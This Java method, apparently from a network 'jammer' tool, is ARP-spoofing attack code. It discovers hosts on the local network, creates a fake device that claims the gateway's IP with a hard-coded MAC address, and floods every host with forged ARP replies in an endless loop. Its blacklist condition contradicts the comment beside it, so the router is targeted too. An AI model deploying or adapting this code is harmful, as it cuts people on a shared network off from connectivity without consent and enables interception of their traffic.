public void jam() {
		if(!blacklist.isEmpty()){
			System.out.println("Blacklisted hosts:");
			System.out.println(blacklist.toString()+"\n");
		}

		hostdiscover hosty = new hostdiscover(device, ips_to_explore);
		hosty.discover();
		String gatewayip = hosty.getGatewayIp();
		HashMap<String,String> ip_mac_list = hosty.getHosts();
		
		Thread.currentThread();
		try {
			Thread.sleep(500);
		} catch (InterruptedException e1) {
			e1.printStackTrace();
		}
		
		arp fake = new arp(null);
		byte[] fake_mac = new byte[] { (byte)Integer.parseInt("0",16),  (byte)Integer.parseInt("24",16),
                (byte)Integer.parseInt("2b",16), (byte)Integer.parseInt("68",16),(byte)Integer.parseInt("4c",16),
                (byte)Integer.parseInt("1b",16) };
		try {
			fake.buildDevice("fak0", "ihniwid", "fak0", "fake", fake_mac,
					gatewayip, this.__get_inet4(device).subnet.toString().split("/")[1]);
		} catch (Exception e) {
			e.printStackTrace();
		}
		long counter = 0;
		while(true){
			try {
				Iterator<String> iter = ip_mac_list.keySet().iterator();

				while(iter.hasNext()) {
					String key = iter.next();// ip address
					String val = ip_mac_list.get(key);//mac address
					counter++;

					System.out.printf("\rNumber of fake arp packets: "+counter);
					//do not spam the blacklisted ips or the gatewayip(the router)
					if(!blacklist.contains(key) || key.equals(gatewayip))
						this.ARPSender.send(fake.build_reply_packet(key, val,
										device.mac_address));	
				 }
				//sleep a little
				Thread.sleep(80);

			} catch (Exception e) {
				e.printStackTrace();
			}
		}
	}